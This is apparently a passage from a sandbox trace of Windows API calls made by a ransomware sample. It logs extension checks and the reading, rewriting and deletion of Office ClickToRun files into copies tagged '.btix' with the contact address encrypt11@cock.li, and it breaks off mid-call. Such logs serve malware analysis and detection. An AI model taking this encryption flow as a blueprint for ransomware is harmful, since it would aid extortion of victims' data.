[0056.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0056.717] lstrlenW (lpString=".1cd") returned 4 [0056.717] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0056.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0056.717] lstrlenW (lpString=".jpg") returned 4 [0056.717] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0056.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0056.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0056.717] lstrlenW (lpString=".doc") returned 4 [0056.717] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0056.717] lstrlenW (lpString=".docx") returned 5 [0056.717] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0056.717] lstrlenW (lpString=".pdf") returned 4 [0056.717] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0056.717] lstrlenW (lpString=".xls") returned 4 [0056.717] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0056.717] lstrlenW (lpString=".xlsx") returned 5 [0056.717] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0056.717] lstrlenW (lpString=".ppt") returned 4 [0056.717] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0056.717] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0056.717] lstrlenW (lpString=".zip") returned 4 [0056.718] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0056.718] lstrlenW (lpString=".rar") returned 4 [0056.718] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0056.718] lstrlenW (lpString=".bz2") returned 4 [0056.718] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0056.718] lstrlenW (lpString=".7z") returned 3 [0056.718] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0056.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0056.718] lstrlenW (lpString=".dbf") returned 4 [0056.718] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0056.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0056.718] lstrlenW (lpString=".1cd") returned 4 [0056.718] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0056.718] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67 [0056.718] lstrlenW (lpString=".jpg") returned 4 [0056.718] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0056.718] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0056.718] lstrlenW (lpString="MavInject32.exe") returned 15 [0056.718] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0056.875] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=358616) returned 1 [0056.875] CloseHandle (hObject=0x30c) returned 1 [0056.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 0x20 [0056.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0056.876] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0056.876] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.876] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0056.876] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0056.876] GetLastError () returned 0x0 [0056.876] ReadFile (in: hFile=0x30c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x578d8, lpOverlapped=0x0) returned 1 [0057.157] WriteFile (in: hFile=0x398, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0x578e0, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0x578e0, lpOverlapped=0x0) returned 1 [0057.163] ReadFile (in: hFile=0x30c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0x0, lpOverlapped=0x0) returned 1 [0057.163] WriteFile (in: hFile=0x398, lpBuffer=0x3d26020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x316fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesWritten=0x316fc94*=0xf2, lpOverlapped=0x0) returned 1 [0057.163] SetEndOfFile (hFile=0x398) returned 1 [0057.163] CloseHandle (hObject=0x398) returned 1 [0057.169] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.169] SetEndOfFile (hFile=0x30c) returned 1 [0057.172] CloseHandle (hObject=0x30c) returned 1 [0057.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0057.172] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 1 [0057.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0057.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0057.173] lstrlenW (lpString=".doc") returned 4 [0057.173] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0057.173] lstrlenW (lpString=".docx") returned 5 [0057.173] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0057.173] lstrlenW (lpString=".pdf") returned 4 [0057.173] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0057.173] lstrlenW (lpString=".xls") returned 4 [0057.173] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0057.173] lstrlenW (lpString=".xlsx") returned 5 [0057.173] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0057.173] lstrlenW (lpString=".ppt") returned 4 [0057.173] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0057.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0057.173] lstrlenW (lpString=".zip") returned 4 [0057.173] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0057.173] lstrlenW (lpString=".rar") returned 4 [0057.173] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0057.173] lstrlenW (lpString=".bz2") returned 4 [0057.173] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0057.173] lstrlenW (lpString=".7z") returned 3 [0057.173] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0057.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0057.173] lstrlenW (lpString=".dbf") returned 4 [0057.173] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0057.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0057.173] lstrlenW (lpString=".1cd") returned 4 [0057.173] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0057.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0057.173] lstrlenW (lpString=".jpg") returned 4 [0057.173] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0057.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0057.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0057.173] lstrlenW (lpString=".doc") returned 4 [0057.173] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0057.173] lstrlenW (lpString=".docx") returned 5 [0057.174] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0057.174] lstrlenW (lpString=".pdf") returned 4 [0057.174] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0057.174] lstrlenW (lpString=".xls") returned 4 [0057.174] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0057.174] lstrlenW (lpString=".xlsx") returned 5 [0057.174] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0057.174] lstrlenW (lpString=".ppt") returned 4 [0057.174] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0057.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0057.174] lstrlenW (lpString=".zip") returned 4 [0057.174] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0057.174] lstrlenW (lpString=".rar") returned 4 [0057.174] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0057.174] lstrlenW (lpString=".bz2") returned 4 [0057.174] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0057.174] lstrlenW (lpString=".7z") returned 3 [0057.174] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0057.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0057.174] lstrlenW (lpString=".dbf") returned 4 [0057.174] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0057.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0057.174] lstrlenW (lpString=".1cd") returned 4 [0057.174] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0057.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe") returned 73 [0057.174] lstrlenW (lpString=".jpg") returned 4 [0057.174] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0057.174] lstrcmpiW (lpString1=".exe", lpString2=".btix") returned 1 [0057.174] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0057.174] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0057.175] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=2776664) returned 1 [0057.175] CloseHandle (hObject=0x30c) returned 1 [0057.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 0x20 [0057.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0057.175] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0057.175] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0057.176] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[encrypt11@cock.li].btix"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 1 [0057.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0057.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0057.176] lstrlenW (lpString=".doc") returned 4 [0057.176] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0057.176] lstrlenW (lpString=".docx") returned 5 [0057.176] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0057.176] lstrlenW (lpString=".pdf") returned 4 [0057.176] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0057.176] lstrlenW (lpString=".xls") returned 4 [0057.176] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0057.176] lstrlenW (lpString=".xlsx") returned 5 [0057.176] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0057.176] lstrlenW (lpString=".ppt") returned 4 [0057.177] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0057.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0057.177] lstrlenW (lpString=".zip") returned 4 [0057.177] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0057.177] lstrlenW (lpString=".rar") returned 4 [0057.177] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0057.177] lstrlenW (lpString=".bz2") returned 4 [0057.177] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0057.177] lstrlenW (lpString=".7z") returned 3 [0057.177] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0057.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0057.177] lstrlenW (lpString=".dbf") returned 4 [0057.177] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0057.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0057.177] lstrlenW (lpString=".1cd") returned 4 [0057.177] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0057.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0057.177] lstrlenW (lpString=".jpg") returned 4 [0057.177] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0057.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0057.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0057.177] lstrlenW (lpString=".doc") returned 4 [0057.177] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0057.177] lstrlenW (lpString=".docx") returned 5 [0057.177] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1 [0057.177] lstrlenW (lpString=".pdf") returned 4 [0057.177] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0057.177] lstrlenW (lpString=".xls") returned 4 [0057.177] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0057.177] lstrlenW (lpString=".xlsx") returned 5 [0057.177] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1 [0057.177] lstrlenW (lpString=".ppt") returned 4 [0057.177] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0057.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0057.178] lstrlenW (lpString=".zip") returned 4 [0057.178] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0057.178] lstrlenW (lpString=".rar") returned 4 [0057.178] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0057.178] lstrlenW (lpString=".bz2") returned 4 [0057.178] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0057.178] lstrlenW (lpString=".7z") returned 3 [0057.178] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0057.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0057.178] lstrlenW (lpString=".dbf") returned 4 [0057.178] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0057.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0057.178] lstrlenW (lpString=".1cd") returned 4 [0057.178] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0057.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78 [0057.178] lstrlenW (lpString=".jpg") returned 4 [0057.178] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0057.178] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0057.178] lstrlenW (lpString="StreamServer.dll") returned 16 [0057.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0057.178] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=1053784) returned 1 [0057.178] CloseHandle (hObject=0x30c) returned 1 [0057.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll")) returned 0x20 [0057.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0057.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0057.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0057.179] lstrlenW (lpString=".doc") returned 4 [0057.179] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0057.179] lstrlenW (lpString=".docx") returned 5 [0057.179] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0057.179] lstrlenW (lpString=".pdf") returned 4 [0057.179] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0057.179] lstrlenW (lpString=".xls") returned 4 [0057.179] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0057.179] lstrlenW (lpString=".xlsx") returned 5 [0057.179] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0057.179] lstrlenW (lpString=".ppt") returned 4 [0057.179] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0057.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0057.179] lstrlenW (lpString=".zip") returned 4 [0057.179] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0057.179] lstrlenW (lpString=".rar") returned 4 [0057.179] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0057.179] lstrlenW (lpString=".bz2") returned 4 [0057.179] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0057.179] lstrlenW (lpString=".7z") returned 3 [0057.179] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0057.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0057.179] lstrlenW (lpString=".dbf") returned 4 [0057.179] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0057.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0057.179] lstrlenW (lpString=".1cd") returned 4 [0057.179] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0057.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0057.180] lstrlenW (lpString=".jpg") returned 4 [0057.180] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0057.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0057.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0057.180] lstrlenW (lpString=".doc") returned 4 [0057.180] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0057.180] lstrlenW (lpString=".docx") returned 5 [0057.180] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0057.180] lstrlenW (lpString=".pdf") returned 4 [0057.180] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0057.180] lstrlenW (lpString=".xls") returned 4 [0057.180] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0057.180] lstrlenW (lpString=".xlsx") returned 5 [0057.180] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0057.180] lstrlenW (lpString=".ppt") returned 4 [0057.180] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0057.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0057.180] lstrlenW (lpString=".zip") returned 4 [0057.180] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0057.180] lstrlenW (lpString=".rar") returned 4 [0057.180] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0057.180] lstrlenW (lpString=".bz2") returned 4 [0057.180] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0057.180] lstrlenW (lpString=".7z") returned 3 [0057.180] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0057.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0057.180] lstrlenW (lpString=".dbf") returned 4 [0057.180] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0057.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0057.180] lstrlenW (lpString=".1cd") returned 4 [0057.180] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0057.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0057.180] lstrlenW (lpString=".jpg") returned 4 [0057.180] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0057.181] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0057.181] lstrlenW (lpString="ucrtbase.dll") returned 12 [0057.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0057.188] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x316ff14 | out: lpFileSize=0x316ff14*=982720) returned 1 [0057.188] CloseHandle (hObject=0x30c) returned 1 [0057.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 0x20 [0057.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0057.188] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0057.188] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.188] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.188] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0057.189] GetLastError () returned 0x0 [0057.189] ReadFile (in: hFile=0x30c, lpBuffer=0x3d26020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d26020*, lpNumberOfBytesRead=0x316fecc*=0xefec0, lpOverlapped=0x0) returned 1 [0057.634] WriteFile (in: hFile=0x398, lpBuffer=0x3d26020*, 